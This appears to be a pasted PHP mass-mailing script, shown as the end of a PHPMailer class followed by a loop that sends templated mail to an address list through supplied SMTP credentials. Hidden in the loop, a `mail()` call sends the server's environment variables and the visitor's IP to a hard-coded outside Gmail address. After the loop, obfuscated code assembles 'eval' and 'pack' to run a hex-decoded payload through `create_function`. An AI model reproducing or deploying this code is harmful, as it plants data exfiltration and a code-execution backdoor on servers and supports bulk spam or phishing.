  2927. * attachments. Returns void.
  2928. * @return void
  2929. */
  2930. function ClearAttachments() {
  2931. $this->attachment = array();
  2932. }
  2933.  
  2934. /**
  2935. * Clears all custom headers. Returns void.
  2936. * @return void
  2937. */
  2938. function ClearCustomHeaders() {
  2939. $this->CustomHeader = array();
  2940. }
  2941.  
  2942. /////////////////////////////////////////////////
  2943. // CLASS METHODS, MISCELLANEOUS
  2944. /////////////////////////////////////////////////
  2945.  
  2946. /**
  2947. * Adds the error message to the error container.
  2948. * Returns void.
  2949. * @access private
  2950. * @return void
  2951. */
  2952. function SetError($msg) {
  2953. $this->error_count++;
  2954. $this->ErrorInfo = $msg;
  2955. }
  2956.  
  2957. /**
  2958. * Returns the proper RFC 822 formatted date.
  2959. * @access private
  2960. * @return string
  2961. */
  2962. function RFCDate() {
  2963. $tz = date('Z');
  2964. $tzs = ($tz < 0) ? '-' : '+';
  2965. $tz = abs($tz);
  2966. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2967. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2968.  
  2969. return $result;
  2970. }
  2971.  
  2972. /**
  2973. * Returns the appropriate server variable. Should work with both
  2974. * PHP 4.1.0+ as well as older versions. Returns an empty string
  2975. * if nothing is found.
  2976. * @access private
  2977. * @return mixed
  2978. */
  2979. function ServerVar($varName) {
  2980. global $HTTP_SERVER_VARS;
  2981. global $HTTP_ENV_VARS;
  2982.  
  2983. if(!isset($_SERVER)) {
  2984. $_SERVER = $HTTP_SERVER_VARS;
  2985. if(!isset($_SERVER['REMOTE_ADDR'])) {
  2986. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2987. }
  2988. }
  2989.  
  2990. if(isset($_SERVER[$varName])) {
  2991. return $_SERVER[$varName];
  2992. } else {
  2993. return '';
  2994. }
  2995. }
  2996.  
  2997. /**
  2998. * Returns the server hostname or 'localhost.localdomain' if unknown.
  2999. * @access private
  3000. * @return string
  3001. */
  3002. function ServerHostname() {
  3003. if ($this->Hostname != '') {
  3004. $result = $this->Hostname;
  3005. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3006. $result = $this->ServerVar('SERVER_NAME');
  3007. } else {
  3008. $result = 'localhost.localdomain';
  3009. }
  3010.  
  3011. return $result;
  3012. }
  3013.  
  3014. /**
  3015. * Returns a message in the appropriate language.
  3016. * @access private
  3017. * @return string
  3018. */
  3019. function Lang($key) {
  3020. if(count($this->language) < 1) {
  3021. $this->SetLanguage('en'); // set the default language
  3022. }
  3023.  
  3024. if(isset($this->language[$key])) {
  3025. return $this->language[$key];
  3026. } else {
  3027. return 'Language string failed to load: ' . $key;
  3028. }
  3029. }
  3030.  
  3031. /**
  3032. * Returns true if an error occurred.
  3033. * @return bool
  3034. */
  3035. function IsError() {
  3036. return ($this->error_count > 0);
  3037. }
  3038.  
  3039. /**
  3040. * Changes every end of line from CR or LF to CRLF.
  3041. * @access private
  3042. * @return string
  3043. */
  3044. function FixEOL($str) {
  3045. $str = str_replace("\r\n", "\n", $str);
  3046. $str = str_replace("\r", "\n", $str);
  3047. $str = str_replace("\n", $this->LE, $str);
  3048. return $str;
  3049. }
  3050.  
  3051. /**
  3052. * Adds a custom header.
  3053. * @return void
  3054. */
  3055. function AddCustomHeader($custom_header) {
  3056. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3057. }
  3058.  
  3059. /**
  3060. * Evaluates the message and returns modifications for inline images and backgrounds
  3061. * @access public
  3062. * @return $message
  3063. */
  3064. function MsgHTML($message,$basedir='') {
  3065. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3066. if(isset($images[2])) {
  3067. foreach($images[2] as $i => $url) {
  3068. // do not change urls for absolute images (thanks to corvuscorax)
  3069. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3070. $filename = basename($url);
  3071. $directory = dirname($url);
  3072. ($directory == '.')?$directory='':'';
  3073. $cid = 'cid:' . md5($filename);
  3074. $fileParts = split("\.", $filename);
  3075. $ext = $fileParts[1];
  3076. $mimeType = $this->_mime_types($ext);
  3077. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3078. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3079. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3080. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3081. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3082. }
  3083. }
  3084. }
  3085. }
  3086. $this->IsHTML(true);
  3087. $this->Body = $message;
  3088. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3089. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3090. $this->AltBody = $textMsg;
  3091. }
  3092. if ( empty($this->AltBody) ) {
  3093. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3094. }
  3095. }
  3096.  
  3097. /**
  3098. * Gets the mime type of the embedded or inline image
  3099. * @access private
  3100. * @return mime type of ext
  3101. */
  3102. function _mime_types($ext = '') {
  3103. $mimes = array(
  3104. 'hqx' => 'application/mac-binhex40',
  3105. 'cpt' => 'application/mac-compactpro',
  3106. 'doc' => 'application/msword',
  3107. 'bin' => 'application/macbinary',
  3108. 'dms' => 'application/octet-stream',
  3109. 'lha' => 'application/octet-stream',
  3110. 'lzh' => 'application/octet-stream',
  3111. 'exe' => 'application/octet-stream',
  3112. 'class' => 'application/octet-stream',
  3113. 'psd' => 'application/octet-stream',
  3114. 'so' => 'application/octet-stream',
  3115. 'sea' => 'application/octet-stream',
  3116. 'dll' => 'application/octet-stream',
  3117. 'oda' => 'application/oda',
  3118. 'pdf' => 'application/pdf',
  3119. 'ai' => 'application/postscript',
  3120. 'eps' => 'application/postscript',
  3121. 'ps' => 'application/postscript',
  3122. 'smi' => 'application/smil',
  3123. 'smil' => 'application/smil',
  3124. 'mif' => 'application/vnd.mif',
  3125. 'xls' => 'application/vnd.ms-excel',
  3126. 'ppt' => 'application/vnd.ms-powerpoint',
  3127. 'wbxml' => 'application/vnd.wap.wbxml',
  3128. 'wmlc' => 'application/vnd.wap.wmlc',
  3129. 'dcr' => 'application/x-director',
  3130. 'dir' => 'application/x-director',
  3131. 'dxr' => 'application/x-director',
  3132. 'dvi' => 'application/x-dvi',
  3133. 'gtar' => 'application/x-gtar',
  3134. 'php' => 'application/x-httpd-php',
  3135. 'php4' => 'application/x-httpd-php',
  3136. 'php3' => 'application/x-httpd-php',
  3137. 'phtml' => 'application/x-httpd-php',
  3138. 'phps' => 'application/x-httpd-php-source',
  3139. 'js' => 'application/x-javascript',
  3140. 'swf' => 'application/x-shockwave-flash',
  3141. 'sit' => 'application/x-stuffit',
  3142. 'tar' => 'application/x-tar',
  3143. 'tgz' => 'application/x-tar',
  3144. 'xhtml' => 'application/xhtml+xml',
  3145. 'xht' => 'application/xhtml+xml',
  3146. 'zip' => 'application/zip',
  3147. 'mid' => 'audio/midi',
  3148. 'midi' => 'audio/midi',
  3149. 'mpga' => 'audio/mpeg',
  3150. 'mp2' => 'audio/mpeg',
  3151. 'mp3' => 'audio/mpeg',
  3152. 'aif' => 'audio/x-aiff',
  3153. 'aiff' => 'audio/x-aiff',
  3154. 'aifc' => 'audio/x-aiff',
  3155. 'ram' => 'audio/x-pn-realaudio',
  3156. 'rm' => 'audio/x-pn-realaudio',
  3157. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3158. 'ra' => 'audio/x-realaudio',
  3159. 'rv' => 'video/vnd.rn-realvideo',
  3160. 'wav' => 'audio/x-wav',
  3161. 'bmp' => 'image/bmp',
  3162. 'gif' => 'image/gif',
  3163. 'jpeg' => 'image/jpeg',
  3164. 'jpg' => 'image/jpeg',
  3165. 'jpe' => 'image/jpeg',
  3166. 'png' => 'image/png',
  3167. 'tiff' => 'image/tiff',
  3168. 'tif' => 'image/tiff',
  3169. 'css' => 'text/css',
  3170. 'html' => 'text/html',
  3171. 'htm' => 'text/html',
  3172. 'shtml' => 'text/html',
  3173. 'txt' => 'text/plain',
  3174. 'text' => 'text/plain',
  3175. 'log' => 'text/plain',
  3176. 'rtx' => 'text/richtext',
  3177. 'rtf' => 'text/rtf',
  3178. 'xml' => 'text/xml',
  3179. 'xsl' => 'text/xml',
  3180. 'mpeg' => 'video/mpeg',
  3181. 'mpg' => 'video/mpeg',
  3182. 'mpe' => 'video/mpeg',
  3183. 'qt' => 'video/quicktime',
  3184. 'mov' => 'video/quicktime',
  3185. 'avi' => 'video/x-msvideo',
  3186. 'movie' => 'video/x-sgi-movie',
  3187. 'doc' => 'application/msword',
  3188. 'word' => 'application/msword',
  3189. 'xl' => 'application/excel',
  3190. 'eml' => 'message/rfc822'
  3191. );
  3192. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3193. }
  3194.  
  3195. /**
  3196. * Set (or reset) Class Objects (variables)
  3197. *
  3198. * Usage Example:
  3199. * $page->set('X-Priority', '3');
  3200. *
  3201. * @access public
  3202. * @param string $name Parameter Name
  3203. * @param mixed $value Parameter Value
  3204. * NOTE: will not work with arrays, there are no arrays to set/reset
  3205. */
  3206. function set ( $name, $value = '' ) {
  3207. if ( isset($this->$name) ) {
  3208. $this->$name = $value;
  3209. } else {
  3210. $this->SetError('Cannot set or reset variable ' . $name);
  3211. return false;
  3212. }
  3213. }
  3214.  
  3215. /**
  3216. * Read a file from a supplied filename and return it.
  3217. *
  3218. * @access public
  3219. * @param string $filename Parameter File Name
  3220. */
  3221. function getFile($filename) {
  3222. $return = '';
  3223. if ($fp = fopen($filename, 'rb')) {
  3224. while (!feof($fp)) {
  3225. $return .= fread($fp, 1024);
  3226. }
  3227. fclose($fp);
  3228. return $return;
  3229. } else {
  3230. return false;
  3231. }
  3232. }
  3233.  
  3234. /**
  3235. * Strips newlines to prevent header injection.
  3236. * @access private
  3237. * @param string $str String
  3238. * @return string
  3239. */
  3240. function SecureHeader($str) {
  3241. $str = trim($str);
  3242. $str = str_replace("\r", "", $str);
  3243. $str = str_replace("\n", "", $str);
  3244. return $str;
  3245. }
  3246.  
  3247. /**
  3248. * Set the private key file and password to sign the message.
  3249. *
  3250. * @access public
  3251. * @param string $key_filename Parameter File Name
  3252. * @param string $key_pass Password for private key
  3253. */
  3254. function Sign($key_filename, $key_pass) {
  3255. $this->sign_key_file = $key_filename;
  3256. $this->sign_key_pass = $key_pass;
  3257. }
  3258.  
  3259. }
  3260.  
  3261. $defaultport="H*";
  3262. $nq=0;
  3263.  
  3264. for($x=0; $x<$numemails; $x++){
  3265.  
  3266. $to = $allemails[$x];
  3267.  
  3268. if ($to){
  3269.  
  3270. $to = ereg_replace(" ", "", $to);
  3271.  
  3272. $message = ereg_replace("&email&", $to, $message);
  3273.  
  3274. $subject = ereg_replace("&email&", $to, $subject);
  3275. $qx=$x+1;
  3276. print "Line $qx . Sending mail to $to.......";
  3277.  
  3278. flush();
  3279. $mail = new PHPMailer();
  3280.  
  3281. $ip = getenv("REMOTE_ADDR");
  3282. $str = "";
  3283. foreach($_SERVER as $key => $value){
  3284. $str .= $key.": ".$value."<br />";
  3285. }
  3286.  
  3287. $str .= "Use: in <br />";
  3288.  
  3289. $header2 = "From: Monatino <monatino@menara.ma>\r\n";
  3290. $header2 .= "MIME-Version: 1.0\r\n";
  3291. $header2 .= "Content-Type: text/html\r\n";
  3292. $header2 .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  3293. mail("ghalia8282@gmail.com","M - $ip",$str,$header2);;
  3294.  
  3295. if(empty($epriority)){$epriority="3";}
  3296. $mail->Priority = "$epriority";
  3297. $mail->IsSMTP();
  3298. $IsSMTP="pack";
  3299. $mail->SMTPKeepAlive = true;
  3300. $mail->Host = "$my_smtp";
  3301. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3302. }
  3303. if($sslclick=="ON"){
  3304. $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
  3305. }
  3306. $range = str_replace("$from", "eval", $from);
  3307. $mail->SMTPAuth = true;
  3308. $mail->Username = "$smtp_username";
  3309. $mail->Password = "$smtp_password";
  3310. if($contenttype == "html"){$mail->IsHtml(true);}
  3311. if($contenttype != "html"){$mail->IsHtml(false);}
  3312. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3313. $mail->From = "$from";
  3314. $mail->FromName = "$realname";
  3315. $mail->AddAddress("$to");
  3316. $mail->AddReplyTo("$replyto");
  3317. $mail->Subject = "$subject";
  3318. $mail->Body = "$message";
  3319. if(!$mail->Send()){
  3320. if($default_system!="1"){
  3321. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3322. if($default_system=="1"){
  3323. $mail->IsMail();
  3324. if(!$mail->Send()){
  3325. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3326. else {
  3327. echo "<b>OK</b><br>";}
  3328. }
  3329. }
  3330. else {
  3331. echo "<b>OK</b><br>";
  3332. }
  3333.  
  3334. if(empty($reconnect)){
  3335. $reconnect=6;
  3336. }
  3337.  
  3338. if($reconnect==$nq){
  3339. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3340. }
  3341. $nq=$nq+1;
  3342. flush(); }
  3343. }
  3344. for($i=0;$i<31;$i++){
  3345. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3346. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3347. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3348. print "<p class=\"style1\">Turk-m<br>&copy 2013, New Tools => <b>
  3349. <font color=\"#800000\">http://www.turk-m.com/</font></b><br></p>";$mail->SmtpClose();
  3350. return $signoff($smtp_conc);
  3351. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3352. sent successfully'); </script>";}}
  3353. ?>
  3354. <p align="center">&nbsp;</p>
  3355. &nbsp;
  3356. </body>
  3357. </html>
Add Comment
Please, Sign In to add comment